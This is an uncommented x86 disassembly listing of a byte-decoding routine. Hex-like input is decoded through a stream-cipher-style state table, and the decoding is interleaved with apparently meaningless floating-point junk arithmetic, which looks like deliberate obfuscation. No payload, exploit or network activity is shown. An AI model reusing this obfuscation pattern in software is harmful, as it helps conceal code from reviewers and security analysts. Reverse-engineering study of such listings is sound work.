mov edx, dword [ebp - 0x3670]
add edx, 1
mov dword [ebp - 0x3670], edx
mov eax, dword [ebp - 0x381c]
add eax, 1
mov dword [ebp - 0x381c], eax
mov ecx, dword [ebp - 0x3670]
shl ecx, 1
mov dword [ebp - 0x39cc], ecx
mov edx, dword [ebp - 0x39cc]
shl edx, 0
add edx, dword [ebp - 0x3a0c]
movzx eax, byte [edx]
mov dword [ebp - 0x3938], eax
mov dword [ebp - 0x3950], 0xb3
mov ecx, dword [ebp - 0x3670]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x39d0], ecx
movsd xmm0, qword [0x9db138]
movsd qword [ebp - 0x49e4], xmm0
movsd xmm0, qword [0x9dadf0]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [0x9da828]
movsd qword [ebp - 0x5060], xmm0
movsd xmm0, qword [ebp - 0x455c]
subsd xmm0, qword [ebp - 0x5060]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x49e4]
addsd xmm0, qword [ebp - 0x5060]
movsd qword [ebp - 0x49e4], xmm0
movsd xmm0, qword [ebp - 0x49e4]
subsd xmm0, qword [ebp - 0x5060]
movsd qword [ebp - 0x49e4], xmm0
movsd xmm0, qword [ebp - 0x455c]
comisd xmm0, xmmword [ebp - 0x49e4]
jbe 0x48ef35
movsd xmm0, qword [ebp - 0x5060]
subsd xmm0, qword [ebp - 0x455c]
movsd qword [ebp - 0x5060], xmm0
movsd xmm0, qword [ebp - 0x455c]
mulsd xmm0, qword [ebp - 0x49e4]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x455c]
subsd xmm0, qword [ebp - 0x49e4]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x49e4]
divsd xmm0, qword [ebp - 0x455c]
movsd qword [ebp - 0x49e4], xmm0
movsd xmm0, qword [ebp - 0x5060]
divsd xmm0, qword [ebp - 0x49e4]
movsd qword [ebp - 0x5060], xmm0
movsd xmm0, qword [ebp - 0x49e4]
subsd xmm0, qword [ebp - 0x455c]
movsd qword [ebp - 0x49e4], xmm0
movsd xmm0, qword [ebp - 0x5060]
comisd xmm0, xmmword [ebp - 0x49e4]
jbe 0x48eeeb
movsd xmm0, qword [ebp - 0x455c]
mulsd xmm0, qword [ebp - 0x5060]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x5060]
divsd xmm0, qword [ebp - 0x49e4]
movsd qword [ebp - 0x5060], xmm0
movsd xmm0, qword [ebp - 0x455c]
divsd xmm0, qword [ebp - 0x5060]
movsd qword [ebp - 0x455c], xmm0
jmp 0x48ef33
movsd xmm0, qword [ebp - 0x49e4]
subsd xmm0, qword [ebp - 0x455c]
movsd qword [ebp - 0x49e4], xmm0
movsd xmm0, qword [ebp - 0x455c]
mulsd xmm0, qword [ebp - 0x5060]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x455c]
divsd xmm0, qword [ebp - 0x5060]
movsd qword [ebp - 0x455c], xmm0
jmp 0x48ef95
mov edx, dword [ebp - 0x39d0]
shl edx, 0
add edx, dword [ebp - 0x3a0c]
movzx eax, byte [edx]
mov dword [ebp - 0x394c], eax
movsd xmm0, qword [ebp - 0x455c]
subsd xmm0, qword [ebp - 0x49e4]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x455c]
mulsd xmm0, qword [ebp - 0x49e4]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x455c]
subsd xmm0, qword [ebp - 0x49e4]
movsd qword [ebp - 0x455c], xmm0
mov dword [ebp - 0x3930], 0xd1
mov ecx, dword [ebp - 0x3938]
sub ecx, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], ecx
mov edx, dword [ebp - 0x394c]
sub edx, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], edx
mov eax, dword [ebp - 0x392c]
shl eax, 4
mov dword [ebp - 0x39d4], eax
mov ecx, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x39d4]
or edx, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], edx
mov al, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], al
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ecx + edx]
mov byte [ebp - 0x35e6], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3568]
add ecx, eax
mov byte [ebp - 0x3568], cl
mov dl, byte [ebp - 0x355b]
add dl, 1
mov byte [ebp - 0x355b], dl
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
mov dl, byte [ebp - 0x35e6]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x35e6]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35e7]
add eax, edx
mov byte [ebp - 0x35e7], al
movzx ecx, byte [ebp - 0x35e8]
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x35e7]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x356d], cl
mov cl, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], cl
mov dl, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], dl
cmp dword [ebp - 0x3670], 0
jbe 0x48f1db
mov eax, dword [ebp - 0x3670]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x38]
mov dl, byte [ebp - 0x3679]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3670]
add eax, 1
mov dword [ebp - 0x3670], eax
mov ecx, dword [ebp - 0x381c]
add ecx, 1
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x3670]
shl edx, 1
mov dword [ebp - 0x39cc], edx
mov eax, dword [ebp - 0x39cc]
shl eax, 0
add eax, dword [ebp - 0x3a0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3938], ecx
mov dword [ebp - 0x3950], 0xb3
mov edx, dword [ebp - 0x3670]
shl edx, 1
add edx, 1
mov dword [ebp - 0x39d0], edx
mov eax, dword [ebp - 0x39d0]
shl eax, 0
add eax, dword [ebp - 0x3a0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x394c], ecx
mov dword [ebp - 0x3930], 0xd1
mov edx, dword [ebp - 0x3938]
sub edx, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], edx
mov eax, dword [ebp - 0x394c]
sub eax, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], eax
mov ecx, dword [ebp - 0x392c]
shl ecx, 4
mov dword [ebp - 0x39d4], ecx
mov edx, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], edx
mov eax, dword [ebp - 0x39d4]
or eax, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], eax
mov cl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], cl
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35e6], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3568]
add edx, ecx
mov byte [ebp - 0x3568], dl
mov al, byte [ebp - 0x355b]
add al, 1
mov byte [ebp - 0x355b], al
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movsd xmm0, qword [0x9dada8]
movsd qword [ebp - 0x49dc], xmm0
movsd xmm0, qword [0x9daa00]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [0x9da5e0]
movsd qword [ebp - 0x4a7c], xmm0
movsd xmm0, qword [ebp - 0x4a74]
addsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [ebp - 0x4a74]
subsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [ebp - 0x4a74]
subsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [ebp - 0x49dc]
comisd xmm0, xmmword [ebp - 0x4a74]
jbe 0x48f44c
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movsd xmm0, qword [ebp - 0x4a7c]
mulsd xmm0, qword [ebp - 0x49dc]
movsd qword [ebp - 0x4a7c], xmm0
movsd xmm0, qword [ebp - 0x49dc]
mulsd xmm0, qword [ebp - 0x4a74]
movsd qword [ebp - 0x49dc], xmm0
movsd xmm0, qword [ebp - 0x4a7c]
mulsd xmm0, qword [ebp - 0x49dc]
movsd qword [ebp - 0x4a7c], xmm0
jmp 0x48f580
movsd xmm0, qword [ebp - 0x4a7c]
divsd xmm0, qword [ebp - 0x4a74]
movsd qword [ebp - 0x4a7c], xmm0
movsd xmm0, qword [ebp - 0x4a7c]
subsd xmm0, qword [ebp - 0x4a74]
movsd qword [ebp - 0x4a7c], xmm0
movsd xmm0, qword [ebp - 0x49dc]
divsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x49dc], xmm0
movsd xmm0, qword [ebp - 0x4a74]
divsd xmm0, qword [ebp - 0x49dc]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [ebp - 0x4a74]
subsd xmm0, qword [ebp - 0x49dc]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [ebp - 0x4a74]
mulsd xmm0, qword [ebp - 0x49dc]
movsd qword [ebp - 0x4a74], xmm0
movsd xmm0, qword [ebp - 0x4a7c]
comisd xmm0, xmmword [ebp - 0x49dc]
jbe 0x48f538
movsd xmm0, qword [ebp - 0x49dc]
subsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x49dc], xmm0
movsd xmm0, qword [ebp - 0x49dc]
addsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x49dc], xmm0
movsd xmm0, qword [ebp - 0x4a74]
divsd xmm0, qword [ebp - 0x49dc]
movsd qword [ebp - 0x4a74], xmm0
jmp 0x48f580
movsd xmm0, qword [ebp - 0x49dc]
addsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x49dc], xmm0
movsd xmm0, qword [ebp - 0x4a7c]
mulsd xmm0, qword [ebp - 0x4a74]
movsd qword [ebp - 0x4a7c], xmm0
movsd xmm0, qword [ebp - 0x49dc]
addsd xmm0, qword [ebp - 0x4a7c]
movsd qword [ebp - 0x49dc], xmm0
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ebp - 0x35e6]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x35e6]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35e7]
add ecx, eax
mov byte [ebp - 0x35e7], cl
movzx edx, byte [ebp - 0x35e8]
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x35e7]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x356d], dl
mov dl, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], dl
mov al, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], al
cmp dword [ebp - 0x3670], 0
jbe 0x48f6a2
mov ecx, dword [ebp - 0x3670]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x38]
mov al, byte [ebp - 0x3679]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x381c]
add ecx, 2
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x3670]
add edx, 1
mov dword [ebp - 0x4e40], edx
jmp 0x48f6d1
mov eax, dword [ebp - 0x4e40]
add eax, 1
mov dword [ebp - 0x4e40], eax
mov ecx, dword [ebp - 0x4e40]
cmp ecx, dword [ebp - 0x381c]
jge 0x48f997
mov edx, dword [ebp - 0x3670]
add edx, 1
mov dword [ebp - 0x3670], edx
mov eax, dword [ebp - 0x3670]
shl eax, 1
mov dword [ebp - 0x39cc], eax
mov ecx, dword [ebp - 0x39cc]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3938], edx
mov dword [ebp - 0x3950], 0xb3
mov eax, dword [ebp - 0x3670]
shl eax, 1
add eax, 1
mov dword [ebp - 0x39d0], eax
mov ecx, dword [ebp - 0x39d0]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x394c], edx
mov dword [ebp - 0x3930], 0xd1
mov eax, dword [ebp - 0x3938]
sub eax, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], eax
mov ecx, dword [ebp - 0x394c]
sub ecx, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], ecx
mov edx, dword [ebp - 0x392c]
shl edx, 4
mov dword [ebp - 0x39d4], edx
mov eax, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x39d4]
or ecx, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], ecx
mov dl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], dl
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea ecx, [ebp - 0x3ec]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35e6], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3568]
add eax, edx
mov byte [ebp - 0x3568], al
mov cl, byte [ebp - 0x355b]
add cl, 1
mov byte [ebp - 0x355b], cl
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [ebp - 0x35e6]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x35e6]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35e7]
add edx, ecx
mov byte [ebp - 0x35e7], dl
movzx eax, byte [ebp - 0x35e8]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x35e7]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x356d], al
mov al, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], al
mov cl, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], cl
cmp dword [ebp - 0x3670], 0
jbe 0x48f992
mov edx, dword [ebp - 0x3670]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x38]
mov cl, byte [ebp - 0x3679]
mov byte [edx + eax], cl
jmp 0x48f6c2
mov edx, dword [ebp - 0x381c]
add edx, 1
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3670]
add eax, 1
mov dword [ebp - 0x3670], eax
mov ecx, dword [ebp - 0x381c]
add ecx, 1
mov dword [ebp - 0x381c], ecx
mov edx, dword [ebp - 0x3670]
shl edx, 1
mov dword [ebp - 0x39cc], edx
mov eax, dword [ebp - 0x39cc]
shl eax, 0
add eax, dword [ebp - 0x3a0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3938], ecx
mov dword [ebp - 0x3950], 0xb3
mov edx, dword [ebp - 0x3670]
shl edx, 1
add edx, 1
mov dword [ebp - 0x39d0], edx
mov eax, dword [ebp - 0x39d0]
shl eax, 0
add eax, dword [ebp - 0x3a0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x394c], ecx
mov dword [ebp - 0x3930], 0xd1
mov edx, dword [ebp - 0x3938]
sub edx, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], edx
mov eax, dword [ebp - 0x394c]
sub eax, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], eax
mov ecx, dword [ebp - 0x392c]
shl ecx, 4
mov dword [ebp - 0x39d4], ecx
mov edx, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], edx
movss xmm0, dword [0x9db848]
movss dword [ebp - 0x4f78], xmm0
movss xmm0, dword [0x9db754]
movss dword [ebp - 0x49e8], xmm0
movss xmm0, dword [0x9db61c]
movss dword [ebp - 0x48d0], xmm0
movss xmm0, dword [0x9db4f4]
movss dword [ebp - 0x45f0], xmm0
movss xmm0, dword [0x9db3a8]
movss dword [ebp - 0x49ec], xmm0
movss xmm0, dword [ebp - 0x4f78]
addss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x4f78], xmm0
movss xmm0, dword [ebp - 0x48d0]
addss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x48d0], xmm0
movss xmm0, dword [ebp - 0x48d0]
mulss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x48d0], xmm0
movss xmm0, dword [ebp - 0x45f0]
addss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x45f0], xmm0
movss xmm0, dword [ebp - 0x45f0]
addss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x45f0], xmm0
movss xmm0, dword [ebp - 0x49ec]
comiss xmm0, dword [ebp - 0x48d0]
jbe 0x48fbbc
movss xmm0, dword [ebp - 0x48d0]
mulss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x48d0], xmm0
movss xmm0, dword [ebp - 0x49e8]
subss xmm0, dword [ebp - 0x45f0]
movss dword [ebp - 0x49e8], xmm0
movss xmm0, dword [ebp - 0x49e8]
divss xmm0, dword [ebp - 0x45f0]
movss dword [ebp - 0x49e8], xmm0
movss xmm0, dword [ebp - 0x45f0]
mulss xmm0, dword [ebp - 0x4f78]
movss dword [ebp - 0x45f0], xmm0
movss xmm0, dword [ebp - 0x4f78]
addss xmm0, dword [ebp - 0x48d0]
movss dword [ebp - 0x4f78], xmm0
jmp 0x48fc46
movss xmm0, dword [ebp - 0x49e8]
addss xmm0, dword [ebp - 0x48d0]
movss dword [ebp - 0x49e8], xmm0
mov eax, dword [ebp - 0x39d4]
or eax, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], eax
movss xmm0, dword [ebp - 0x49e8]
addss xmm0, dword [ebp - 0x48d0]
movss dword [ebp - 0x49e8], xmm0
movss xmm0, dword [ebp - 0x45f0]
mulss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x45f0], xmm0
movss xmm0, dword [ebp - 0x4f78]
subss xmm0, dword [ebp - 0x49e8]
movss dword [ebp - 0x4f78], xmm0
movss xmm0, dword [ebp - 0x45f0]
subss xmm0, dword [ebp - 0x49ec]
movss dword [ebp - 0x45f0], xmm0
mov cl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], cl
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35e6], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3568]
add edx, ecx
mov byte [ebp - 0x3568], dl
mov al, byte [ebp - 0x355b]
add al, 1
mov byte [ebp - 0x355b], al
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ebp - 0x35e6]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x35e6]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35e7]
add ecx, eax
mov byte [ebp - 0x35e7], cl
movsd xmm0, qword [0x9dadc8]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [0x9daa20]
movsd qword [ebp - 0x497c], xmm0
movsd xmm0, qword [0x9da5f0]
movsd qword [ebp - 0x59d0], xmm0
movsd xmm0, qword [ebp - 0x497c]
mulsd xmm0, qword [ebp - 0x59d0]
movsd qword [ebp - 0x497c], xmm0
movsd xmm0, qword [ebp - 0x4364]
mulsd xmm0, qword [ebp - 0x59d0]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x497c]
mulsd xmm0, qword [ebp - 0x59d0]
movsd qword [ebp - 0x497c], xmm0
movsd xmm0, qword [ebp - 0x59d0]
comisd xmm0, xmmword [ebp - 0x497c]
jbe 0x48ff11
movsd xmm0, qword [ebp - 0x497c]
mulsd xmm0, qword [ebp - 0x59d0]
movsd qword [ebp - 0x497c], xmm0
movsd xmm0, qword [ebp - 0x4364]
divsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4364]
divsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4364]
subsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4364]
mulsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x59d0]
divsd xmm0, qword [ebp - 0x4364]
movsd qword [ebp - 0x59d0], xmm0
movsd xmm0, qword [ebp - 0x497c]
comisd xmm0, xmmword [ebp - 0x4364]
jbe 0x48fec4
movsd xmm0, qword [ebp - 0x59d0]
subsd xmm0, qword [ebp - 0x4364]
movsd qword [ebp - 0x59d0], xmm0
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4364]
subsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
jmp 0x48ff0c
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4364]
mulsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
jmp 0x490006
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movsd xmm0, qword [ebp - 0x4364]
subsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
movzx edx, byte [ebp - 0x35e8]
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x35e7]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x356d], dl
movsd xmm0, qword [ebp - 0x4364]
addsd xmm0, qword [ebp - 0x497c]
movsd qword [ebp - 0x4364], xmm0
mov dl, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], dl
mov al, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], al
cmp dword [ebp - 0x3670], 0
jbe 0x49003f
mov ecx, dword [ebp - 0x3670]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x38]
mov al, byte [ebp - 0x3679]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3670]
add ecx, 1
mov dword [ebp - 0x3670], ecx
mov edx, dword [ebp - 0x381c]
add edx, 1
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3670]
shl eax, 1
mov dword [ebp - 0x39cc], eax
mov ecx, dword [ebp - 0x39cc]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3938], edx
mov dword [ebp - 0x3950], 0xb3
